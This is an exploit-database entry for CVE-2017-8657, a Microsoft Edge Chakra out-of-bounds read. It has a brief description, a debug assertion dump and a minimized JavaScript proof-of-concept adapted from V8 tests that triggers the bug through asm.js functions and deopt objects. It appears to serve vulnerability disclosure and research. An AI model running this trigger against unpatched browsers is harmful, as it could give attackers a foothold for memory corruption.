Microsoft Edge - Out-of-Bounds Access when Fetching Source



EKU-ID: 6857 CVE: 2017-8657 OSVDB-ID:
Author: Google Security Research Published: 2017-08-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


// The attached JavaScript file causes an out-of-bounds access of the source buffer when fetching the source for one of the functions during delayed compilation. The out-of-bounds value is then treated as the pointer to the source. This is likely an exploitable condition.
 
// In the debug build of Chakra, this script hits the following assert:
 
// ASSERTION 19041: (/home/user/test_everywhere/ChakraCore/lib/Common/DataStructures/List.h, line 329) index >= 0 && index < this->count
// Failure: (index >= 0 && index < this->count)
// Illegal instruction (core dumped)
 
// The attached script is a test case from the v8 (Chrome) test repository, minimized to show the issue.
 
print = function(){};
(function () { 
 
  assertPromiseResult = function(promise, success, fail) {
 
    if (!success) success = () => {};
 
    failWithMessage = (msg) => eval("print(msg)");
    if (!fail) {
      fail = result => failWithMessage("assertPromiseResult failed: " + result);
    }
 
    var test_promise =
        promise.then(
          result => {
            try {
              success(result);
            } catch (e) {
              failWithMessage(e);
            }
          },
          result => {
            fail(result);
          }
        )
        .then((x)=> {
          if (--promiseTestCount == 0) testRunner.notifyDone();
        });
 
    if (!promiseTestChain) promiseTestChain = Promise.resolve();
    // waitUntilDone is idempotent.
    testRunner.waitUntilDone();
    ++promiseTestCount;
    return promiseTestChain.then(test_promise);
  };
 
 
 assertUnoptimized = function assertUnoptimized(fun, sync_opt, name_opt) {
    if (sync_opt === undefined) sync_opt = "";
    var opt_status = OptimizationStatus(fun, sync_opt);
    // Tests that use assertOptimized() do not make sense if --always-opt
    // option is provided. Such tests must add --no-always-opt to flags comment.
    assertFalse((opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0,
                "test does not make sense with --always-opt");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
    if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
      // When --deopt-every-n-times flag is specified it's no longer guaranteed
      // that particular function is still deoptimized, so keep running the test
      // to stress test the deoptimizer.
      return;
    }
    assertFalse((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
  }
 
 
 
 
 
 
 
  assertOptimized = function assertOptimized(fun, sync_opt, name_opt) {
    if (sync_opt === undefined) sync_opt = "";
    var opt_status = OptimizationStatus(fun, sync_opt);
    // Tests that use assertOptimized() do not make sense if --no-opt
    // option is provided. Such tests must add --opt to flags comment.
    assertFalse((opt_status & V8OptimizationStatus.kNeverOptimize) !== 0,
                "test does not make sense with --no-opt");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
    if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
      // When --deopt-every-n-times flag is specified it's no longer guaranteed
      // that particular function is still optimized, so keep running the test
      // to stress test the deoptimizer.
      return;
    }
    assertTrue((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
  }
 
  isNeverOptimize = function isNeverOptimize() {
    var opt_status = OptimizationStatus(undefined, "");
    return (opt_status & V8OptimizationStatus.kNeverOptimize) !== 0;
  }
 
  isAlwaysOptimize = function isAlwaysOptimize() {
    var opt_status = OptimizationStatus(undefined, "");
    return (opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0;
  }
 
  isInterpreted = function isInterpreted(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) === 0 &&
           (opt_status & V8OptimizationStatus.kInterpreted) !== 0;
  }
 
  isOptimized = function isOptimized(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0;
  }
 
  isCrankshafted = function isCrankshafted(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
           (opt_status & V8OptimizationStatus.kTurboFanned) === 0;
  }
 
  isTurboFanned = function isTurboFanned(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
           (opt_status & V8OptimizationStatus.kTurboFanned) !== 0;
  }
 
})();
 
 
// Copyright 2015 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
 
// Flags: --allow-natives-syntax
 
assertEquals = print;
 
var m = (function() {
  "use asm";
  function f(x) {
    return x < 0;
  }
  function g(x) {
    return 0 < x;
  }
  return { f: f, g: g };
})();
var f = m.f;
var g = m.g;
 
var counter = 0;
 
function deopt(f) {
  return {
    toString : function() {
      print(f);
      counter++;
      return "2";
    }
  };
}
 
assertEquals(false, f(deopt(f)));
assertEquals(1, counter);
 
assertEquals(true, g(deopt(g)));
assertEquals(2, counter);
 
print(f);
assertEquals(false, f(deopt(f)));
assertEquals(3, counter);
 
print(g);
assertEquals(true, g(deopt(g)));
assertEquals(4, counter);